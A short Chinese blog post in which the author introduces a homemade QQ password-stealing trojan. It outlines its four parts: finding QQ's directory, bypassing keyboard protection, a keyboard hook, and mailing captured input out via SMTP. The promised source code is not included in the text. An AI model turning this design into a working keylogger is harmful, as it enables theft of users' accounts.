QQ木马的简单实现,QQ盗号核心编程。。。。

宿舍是搬完了,不能上网,这个事情是相当呢郁闷了。。。。

哎。。。。现在在机房,写贴子:

A sample source code about how to program QQ Trojan

呵呵,假期在家里。看看数据结构,看看C++。。。。无聊的时候想起了以前关于QQ的种种东西来^_^!

还记得以前写过些关于初级QQ盗号程序的帖子(自己也只有这个水平- -#),这个假期称着有时间,整理了一下。好了,废话不多说,下面介绍一下这个程序的4个大的部分:

1.Search QQ  Directory。这是相当关键的一步,是后来Crack Keyboard Protection的基础。一开始我是用的整个硬盘的递归目录进行查找,貌似速度太慢了0_0!后来改成了从当前QQ进程查找它的目录。当然,这样的话就只能在QQ运行的状态下测试了,否则就得自己在源码里设定QQ的安装路径。

2.Crack Keyboard Protection.以前有写过,这里不再啰嗦。。。。

3.Hook Keyboard.还记得在大一下学期刚开学的时候写了个Win32的Hook机制的文章,那时候也是以QQ为实验对象的^_^!不过当时用的方法太麻烦了,用了个自己写的.dll。后来发现那样不方便,而且自己是在用C(结合Win32 API)写Console的东西,所以就可以自己定义一下控制台的处理。。。。详见源码吧- -!

4.Send Mail。这是最后一步,也是最关键的一步!可惜现在我是技术不过关,用的是SMTP协议进行的发送,这样会被防火墙发现的。。。。哎。。。。

好了,介绍就到这里,下面是源码了:
